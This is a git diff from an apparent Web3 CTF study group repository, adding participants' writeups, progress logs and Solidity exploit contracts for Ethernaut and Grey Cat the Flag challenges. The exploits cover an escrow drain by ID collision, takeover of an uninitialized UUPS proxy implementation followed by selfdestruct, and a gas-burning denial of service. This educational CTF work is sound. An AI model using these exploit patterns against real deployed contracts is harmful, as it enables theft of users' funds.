symbol) + { + _mint(msg.sender, initialSupply); + _dex = dexInstance; + } + + function approve(address owner, address spender, uint256 amount) public { + require(owner != _dex, "InvalidApprover"); + super._approve(owner, spender, amount); + } +} +``` +- 对上一题略微修改,要求同时耗尽 token1 和 token2 中的资产。 \ No newline at end of file diff --git a/Writeup/bytenoob/script/Ethernaut/puzzle.s.sol b/Writeup/bytenoob/script/Ethernaut/puzzle.s.sol index 1b50e7f5..890d327f 100644 --- a/Writeup/bytenoob/script/Ethernaut/puzzle.s.sol +++ b/Writeup/bytenoob/script/Ethernaut/puzzle.s.sol @@ -6,7 +6,7 @@ import "forge-std/console2.sol"; contract AttackPuzzleScript is Script { function run() public { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); - address level24 = 0xCa8F3EC44380Bb22eC127F32E8e8d0477CF47D98; + address level24 = 0x086d96259d019c3af4F5451602329f7613270Aa0; vm.stopBroadcast(); } } diff --git a/Writeup/doublespending/day25/escrow_1.sol b/Writeup/doublespending/day25/escrow_1.sol new file mode 100644 index 00000000..cb1602de --- /dev/null +++ b/Writeup/doublespending/day25/escrow_1.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.15; + +import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; + +contract Exploit { + Setup setup; + + constructor(Setup _setup) { + setup = _setup; + } + + function solve() external { + // Deploy escrow that has the same ID as the one to drain + bytes19 zero_bytes = bytes19(abi.encodePacked(address(0))); + (uint256 escrowId, ) = setup.factory().deployEscrow( + 0, // implId = 0 + abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00 + ); + + // ID of this escrow and the one to drain is the same + assert(escrowId == setup.escrowId()); + + // Withdraw all GREY from the escrow to drain + DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); + escrow.withdraw(true, 10_000e18); + + // Transfer all GREY to msg.sender + setup.grey().transfer(msg.sender, 10_000e18); + } +} \ No newline at end of file diff --git a/Writeup/doublespending/day25/escrow_2.sol b/Writeup/doublespending/day25/escrow_2.sol new file mode 100644 index 00000000..f557ceba --- /dev/null +++ b/Writeup/doublespending/day25/escrow_2.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.15; + +import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; + +contract Exploit { + Setup setup; + + constructor(Setup _setup) { + setup = _setup; + } + + function solve() external { + // Deploy escrow that has the same ID as the one to drain + (uint256 escrowId, ) = setup.factory().deployEscrow( + 1, // implId = 1 + abi.encodePacked(address(setup.grey()), address(0)) + ); + + // ID of this escrow and the one to drain is the same + assert(escrowId == setup.escrowId()); + + // Withdraw all GREY from the escrow to drain + DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); + escrow.withdraw(true, 10_000e18); + + // Transfer all GREY to msg.sender + setup.grey().transfer(msg.sender, 10_000e18); + } +} \ No newline at end of file diff --git a/Writeup/freepavel/20_Denial b/Writeup/freepavel/20_Denial new file mode 100644 index 00000000..95672bad --- /dev/null +++ b/Writeup/freepavel/20_Denial @@ -0,0 +1,67 @@ +# Denial +## 題目 + + +## 合約 +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Denial { + address public partner; // withdrawal partner - pay the gas, split the withdraw + address public constant owner = address(0xA9E); + uint256 timeLastWithdrawn; + mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances + + function setWithdrawPartner(address _partner) public { + partner = _partner; + } + + // withdraw 1% to recipient and 1% to owner + function withdraw() public { + uint256 amountToSend = address(this).balance / 100; + // perform a call without checking return + // The recipient can revert, the owner will still get their share + partner.call{value: amountToSend}(""); + payable(owner).transfer(amountToSend); + // keep track of last withdrawal time + timeLastWithdrawn = block.timestamp; + withdrawPartnerBalances[partner] += amountToSend; + } + + // allow deposit of funds + receive() external payable {} + + // convenience function + function contractBalance() public view returns (uint256) { + return address(this).balance; + } +} +``` +我們可以通過讓合約將我們設置為 `partner`,然後在 `withdraw()` 調用我們的合約時,使用 `fallback()` 函數耗盡所有的 gas,這樣 `owner` 的提現就無法執行。 + +## hack + +```solidity +pragma solidity ^0.8.0; + +interface IDenial { + function setWithdrawPartner(address) external; +} + +contract Hack { + constructor(IDenial target) { + target.setWithdrawPartner(address(this)); + } + + fallback() external payable { + // Burn all gas - same as assert(false) in Solidity < 0.8 + assembly { + invalid() + } + } +} +``` +1. **`IDenial` 介面**:定義了一個 `setWithdrawPartner(address)` 函數,這是為了跟 `Denial` 合約進行互動。 +2. **`Hack` 合約**:構造函數接受一個 `Denial` 合約的地址,並將我們的合約設置為合夥人。這樣當 `Denial` 合約調用 `withdraw()` 時,會觸發我們合約的 `fallback()` 函數。 +3. **`fallback()` 函數**:在這裡,我們使用了 Solidity 的內建指令 `assembly { invalid() }`,這會消耗所有的 gas,導致後續的操作無法執行。 diff --git a/Writeup/nghdavid/Ethernaut/11/11.sol b/Writeup/nghdavid/Ethernaut/11/11.sol new file mode 100644 index 00000000..7ebe8473 --- /dev/null +++ b/Writeup/nghdavid/Ethernaut/11/11.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.21; + +import {Script, console2} from "forge-std/Script.sol"; +import {EthernautHelper} from "../setup/EthernautHelper.sol"; + +// NOTE You can import your helper contracts & create interfaces here + +contract PrivacySolution is Script, EthernautHelper { + address constant LEVEL_ADDRESS = 0x131c3249e115491E83De375171767Af07906eA36; + uint256 heroPrivateKey = vm.envUint("PRIVATE_KEY"); + + function run() public { + vm.startBroadcast(heroPrivateKey); + // NOTE this is the address of your challenge contract + address challengeInstance = createInstance(LEVEL_ADDRESS); + + // YOUR SOLUTION HERE + + /** + * Understanding Solidity’s Storage Layout And How To Access State Variables In Storage Slots. + */ + bytes32 key = vm.load(challengeInstance, bytes32(uint256(5))); + challengeInstance.call(abi.encodeWithSignature("unlock(bytes16)", bytes16(key))); + + + // SUBMIT CHALLENGE. (DON'T EDIT) + bool levelSuccess = submitInstance(challengeInstance); + require(levelSuccess, "Challenge not passed yet"); + vm.stopBroadcast(); + + console2.log(successMessage(12)); + } +} diff --git a/Writeup/phipupt/ethernaut/script/Level25.s.sol b/Writeup/phipupt/ethernaut/script/Level25.s.sol new file mode 100644 index 00000000..ef7e1ec7 --- /dev/null +++ b/Writeup/phipupt/ethernaut/script/Level25.s.sol @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +pragma solidity <0.7.0; + +import {Script, console} from "forge-std/Script.sol"; +import {Motorbike, Engine} from "../src/Level25.sol"; + +contract Attacker { + Motorbike motorbike; + Engine engine; + Destructive destructive; + + constructor(address motorbikeAddr, address engineAddr) public { + motorbike = Motorbike(payable(motorbikeAddr)); + engine = Engine(engineAddr); + destructive = new Destructive(); + } + + function attack() external { + engine.initialize(); + bytes memory encodedData = abi.encodeWithSignature("killed()"); + engine.upgradeToAndCall(address(destructive), encodedData); + } +} + +contract Destructive { + function killed() external { + selfdestruct(address(0)); + } +} + +contract CallContractScript is Script { + function run() external { + // 指定私钥,可以从环境变量中获取,例如:process.env.PRIVATE_KEY + uint256 privateKey = vm.envUint("PRIVATE_KEY"); + + // 初始化一个签名者 + vm.startBroadcast(privateKey); + + address levelAddr = 0x082198127b7d7adf8D3f035599F15D78C1C0f665; + address engineAddr = address( + uint160( + uint256( + vm.load( + address(levelAddr), + 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc + ) + ) + ) + ); + + Attacker attacker = new Attacker(levelAddr, engineAddr); + + attacker.attack(); + + vm.stopBroadcast(); + } +} diff --git a/Writeup/phipupt/ethernaut/src/Level25.sol b/Writeup/phipupt/ethernaut/src/Level25.sol new file mode 100644 index 00000000..0c55b857 --- /dev/null +++ b/Writeup/phipupt/ethernaut/src/Level25.sol @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT + +pragma solidity <0.7.0; + +import "openzeppelin-contracts-06/utils/Address.sol"; +import "openzeppelin-contracts-06/proxy/Initializable.sol"; + +contract Motorbike { + // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 + bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; + + struct AddressSlot { + address value; + } + + // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. + constructor(address _logic) public { + require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); + _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; + (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); + require(success, "Call failed"); + } + + // Delegates the current call to `implementation`. + function _delegate(address implementation) internal virtual { + // solhint-disable-next-line no-inline-assembly + assembly { + calldatacopy(0, 0, calldatasize()) + let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch result + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } + + // Fallback function that delegates calls to the address returned by `_implementation()`. + // Will run if no other function in the contract matches the call data + fallback() external payable virtual { + _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); + } + + // Returns an `AddressSlot` with member `value` located at `slot`. + function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { + assembly { + r_slot := slot + } + } +} + +contract Engine is Initializable { + // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 + bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; + + address public upgrader; + uint256 public horsePower; + + struct AddressSlot { + address value; + } + + function initialize() external initializer { + horsePower = 1000; + upgrader = msg.sender; + } + + // Upgrade the implementation of the proxy to `newImplementation` + // subsequently execute the function call + function upgradeToAndCall(address newImplementation, bytes memory data) external payable { + _authorizeUpgrade(); + _upgradeToAndCall(newImplementation, data); + } + + // Restrict to upgrader role + function _authorizeUpgrade() internal view { + require(msg.sender == upgrader, "Can't upgrade"); + } + + // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. + function _upgradeToAndCall(address newImplementation, bytes memory data) internal { + // Initial upgrade and setup call + _setImplementation(newImplementation); + if (data.length > 0) { + (bool success,) = newImplementation.delegatecall(data); + require(success, "Call failed"); + } + } + + // Stores a new address in the EIP1967 implementation slot. + function _setImplementation(address newImplementation) private { + require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); + + AddressSlot storage r; + assembly { + r_slot := _IMPLEMENTATION_SLOT + } + r.value = newImplementation; + } +} \ No newline at end of file diff --git a/YuKirasawa.md b/YuKirasawa.md index 674048e3..b7ddc4d4 100644 --- a/YuKirasawa.md +++ b/YuKirasawa.md @@ -164,4 +164,8 @@ timezone: Pacific/Auckland # 新西兰标准时间 (UTC+12) 完成了 blazctf 2023 的 be-billionaires-today 题目。 +### 2024.09.21 + +blazctf 2024,队名 Little Big Us,目前完成了 Ciao、BigenLayer 和 8Inch。 + diff --git a/YuanboXie.md b/YuanboXie.md index 9892bf88..40c3c9c4 100644 --- a/YuanboXie.md +++ b/YuanboXie.md @@ -127,4 +127,12 @@ timezone: Asia/Shanghai - 1.Ethernaut CTF (31) - Dex - [writeup](./Writeup/YuanboXie/EthernautCTF-writeup.md) - 学会了对 DEX 对价格操纵攻击,以及写了一个通用的 POC; +### 2024.09.21 + +- 参加 BlazCTF; + +### 2024.09.22 + +- 参加 BlzeCTF; + \ No newline at end of file diff --git a/awmpy.md b/awmpy.md index 2301c42c..3787d189 100644 --- a/awmpy.md +++ b/awmpy.md @@ -1275,4 +1275,12 @@ TODO ### 2024.09.21 +参加BlazCTF 2024 + +### 2024.09.22 + +参加BlazCTF 2024 + +### 2024.09.23 + diff --git a/blockpanda.md b/blockpanda.md index f5b4c2cb..00262962 100644 --- a/blockpanda.md +++ b/blockpanda.md @@ -72,4 +72,7 @@ timezone: Asia/Shanghai ### 2024.09.20 - [Ethernaut 第25题](/Writeup/blockpanda/readme.md/Ethernaut第25题.md) + +### 2024.09.21 +- 总复习 diff --git a/bytenoob.md b/bytenoob.md index 2596eb39..9e56f22f 100644 --- a/bytenoob.md +++ b/bytenoob.md @@ -153,5 +153,9 @@ Finish ethernaut dex2 finish Finish ethernaut puzzle try +### 2024.09.21 + +Finish nothing + diff --git a/doublespending.md b/doublespending.md index 76c8e5cc..f7aced47 100644 --- a/doublespending.md +++ b/doublespending.md @@ -366,4 +366,28 @@ B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ct - At this case, we get [`shares[to=from] = origin + _shares`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/greyhats-dollar/GHD.sol#L133) - However, the share is expected unchanged. +### 2024.09.22 + +B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ctf-challenges) (6) + +- Escrow + + - Ownership of escrowId has been renounced at the end. + - So, we should find a way to get back the ownership through [`deployEscrow`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L70) + - Approach 1 + + - To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `args` that can generate the same `escrowId` + - [`args` contributes to `tokenX` and `tokenY`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L45-L46). They are fetched [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L116-L117). `tokenY` is expected to be `address(0)`. + - However, [`_getArgAddress`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/lib/Clone.sol#L15-L25) just reads 20 bytes from `argOffset`. + - However, `tokenY` can be `bytes19(0)`. If the following byte is bytes1(0), we can always get `tokenY` as `address(0)` by `_getArgAddress`. + - [For length of data smaller than 256, so the following byte is bytes1(0).](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L47) + - Why not just append 0 bytes to `args`? + - Becasue there is a length check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L49) + + - Approach 2 + - To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `implId` that can generate the same `escrowId` + - We can add the same implementation [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L32) with the same `impl` parameter. + - Then, we get different `implId`(=1) with the same `impl` and `implId` does not contribute to `escrowId` + - However, only factory owner can call `addImplementation`. + diff --git a/elvin.md b/elvin.md index aad6662b..f85d6e3f 100644 --- a/elvin.md +++ b/elvin.md @@ -506,5 +506,8 @@ This PoC successfully drains the entire pool balance of 1000 ETH and transfers i ### 2024.09.20 Prepare Blaz 2024 +### 2024.09.21 +Participate Blaz 2024 + diff --git a/freepavel.md b/freepavel.md index 53cb1b34..b052849e 100644 --- a/freepavel.md +++ b/freepavel.md @@ -120,5 +120,10 @@ timezone: Pacific/Auckland # 新西兰标准时间 (UTC+12) - https://github.com/DeFiHackLabs/Web3-CTF-Intensive-CoLearning/blob/main/Writeup/freepavel/18_magicnumber.md ### 2024.09.20 -- [19_AlienCodex](https://github.com/DeFiHackLabs/Web3-CTF-Intensive-CoLearning/blob/main/Writeup/freepavel/19_AlienCodex.md) +- [19_AlienCodex](https://github.com/DeFiHackLabs/Web3-CTF-Intensive-CoLearning/blob/main/Writeup/freepavel/19_AlienCodex.md + +### 2024.09.21 +- https://github.com/DeFiHackLabs/Web3-CTF-Intensive-CoLearning/blob/main/Writeup/freepavel/20_Denial + + diff --git a/geyu.md b/geyu.md index af7427a4..b54666f1 100644 --- a/geyu.md +++ b/geyu.md @@ -87,4 +87,7 @@ writeup:[Privacy](./Writeup/geyu/writeup/18_MagicNumber.md) ### 2024.09.20 完成了 ethernaut 第 19 个练习 NaughtCoin writeup:[Privacy](./Writeup/geyu/writeup/19_AlienCodex.md) + +### 2024.09.21 +参加 blaz ctf diff --git a/koaxwi.md b/koaxwi.md index e584f607..490e331d 100644 --- a/koaxwi.md +++ b/koaxwi.md @@ -114,5 +114,12 @@ Solved Meta Staking. Solved Gnosis Unsafe. +### 2024.09.21 + +BlazCTF: +- Ciao +- BigenLayer +- 8Inch +- ... diff --git a/lianshus.md b/lianshus.md index 49084260..9b48b32d 100644 --- a/lianshus.md +++ b/lianshus.md @@ -483,6 +483,12 @@ POC -- : https://github.com/DeFiHackLabs/Web3-CTF-Intensive-CoLearning/tree/main +### 2024.09.21 + +学习內容: + +CTF ing + ### 2024.07.12 diff --git a/nghdavid.md b/nghdavid.md index 01c1a3a9..e0620894 100644 --- a/nghdavid.md +++ b/nghdavid.md @@ -369,5 +369,15 @@ abstract contract ReentrancyGuard { - 首先要呼叫關卡合約的donate(),讓攻擊者的balance有值 - 再呼叫關卡合約的withdraw(),讓重入攻擊一直重複到balance < 0 +### 2024.09.21 +# Ethernut第十二題 +- 這題的關鍵是要找到data[2]的值做為key +- 但data為private varible,所以用vm.load去讀取 +- bool佔據1個byte,在storage slot 0 +- ID為uint256,佔據32byte,在storage slot 1 +- flattening、denomination、awkwardness,加起來佔據32byte,在storage slot 2 +- data的type為bytes32[],所以每一個值會對應到一個slot +- data[0]對應到slot3,data[1]對應到slot4,data[2]對應到slot5 +- 所以key在slot5,用vm.load(challengeInstance, bytes32(uint256(5)))就能讀取出來key diff --git a/phipupt.md b/phipupt.md index 526e24a6..e47942f9 100644 --- a/phipupt.md +++ b/phipupt.md @@ -957,14 +957,65 @@ forge script script/Level20.s.sol:CallContractScript --rpc-url sepolia --broadca [The Ethernaut level 23](https://ethernaut.openzeppelin.com/level/23) -本关将要求你以不同的方式打破DexTwo,这是上一关经过微妙修改的Dex合约。 - 这一关的目的是把 DexTwo 中 token1 和 token2 的余额都提取出来。 - 仔细阅读合约,该合约是前一关卡 Dex 的微调版本。`swap` 函数去掉了 `require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");` 限制。这意味可以使用一个任意的 from 代币,从合约中中获得真正的"to"代币。 脚本还在测试中... + +### 2024.09.21 + +[The Ethernaut level 25](https://ethernaut.openzeppelin.com/level/25) + +这一关的目的是对实现 `Engine` 合约调用 `selfdestruct()`,使 `Engine` 合约无法使用。 + +仔细阅读合约,这是一个使用 `UUPS` 的模式的代理合约。`Motorbike` 是代理合约,而 `Engine` 是实现合约。 + +`Engine` 合约代码中没有定义 `selfdestruct()`。那么将如何调用它呢?可以尝试升级实现合约,使其指向自己部署的攻击者合约。 + +为了升级逻辑,我们需要确保我们是 `upgrader`。 + +这里需要注意的是,在这个实现中,`initialize()` 函数应该由代理合约调用。但它是通过 `delegatecall()` 来实现的。这意味着是在代理合约的上下文中进行的,而不是在实现中。 + +在实现合约的上下文中,这尚未被调用。因此,如果直接调用这个函数,调用者(攻击合约)将成为升级者。 + +一旦我们成为了upgrader,我们可以直接调用 `upgradeToAndCall()`,并把实现合约更改为自己部署的带有 `selfdestruct` 的攻击合约 + +攻击者合约: +``` +contract Attacker { + Motorbike motorbike; + Engine engine; + Destructive destructive; + + constructor(address motorbikeAddr, address engineAddr) public { + motorbike = Motorbike(payable(motorbikeAddr)); + engine = Engine(engineAddr); + destructive = new Destructive(); + } + + function attack() external { + engine.initialize(); + bytes memory encodedData = abi.encodeWithSignature("killed()"); + engine.upgradeToAndCall(address(destructive), encodedData); + } +} +``` + +执行脚本: +``` +forge script script/Level25.s.sol:CallContractScript --rpc-url sepolia --broadcast +``` + +完整代码见:[这里](Writeup/phipupt/ethernaut/script/Level25.s.sol) + + +链上记录: +- [level(`Motorbike`)](https://sepolia.etherscan.io/address/0x082198127b7d7adf8D3f035599F15D78C1C0f665) +- [Attacker](https://sepolia.etherscan.io/address/0x20f8B2087Ba547c69c78B02A9251bFc543FdA9fe) +- [attack 交易](https://sepolia.etherscan.io/tx/0x262064fcd168e0afc9fb60166a271747ffc37204f38b103140564dba72a1e419) +- [新 Engine 合约(带自毁功能)](https://sepolia.etherscan.io/address/0x04611f42fbab6cd8028a498e9c825e00bd556dd0) + diff --git a/yulai.md b/yulai.md index 18166c36..1a8a432e 100644 --- a/yulai.md +++ b/yulai.md @@ -438,4 +438,11 @@ nc localhost 1337 # 再次创建,成功。得到相关的 rpc 地址 实例地址:0x08557A8d841ad88Eff166c08E1388dCbB1681bc1 发现字节码还是很厉害的 +### 2024.09.21 +今天在看 blazCTF的 题目,不怎么会做... + +### 2024.09.22 +#### ethernaut - HigherOrder +这道题考查对低级方法的使用。calldataload 会读取传入参数的后面32字节数据,如果我们传入一个大于255的数据,就能将 treasury 设置为超过 255 + \ No newline at end of file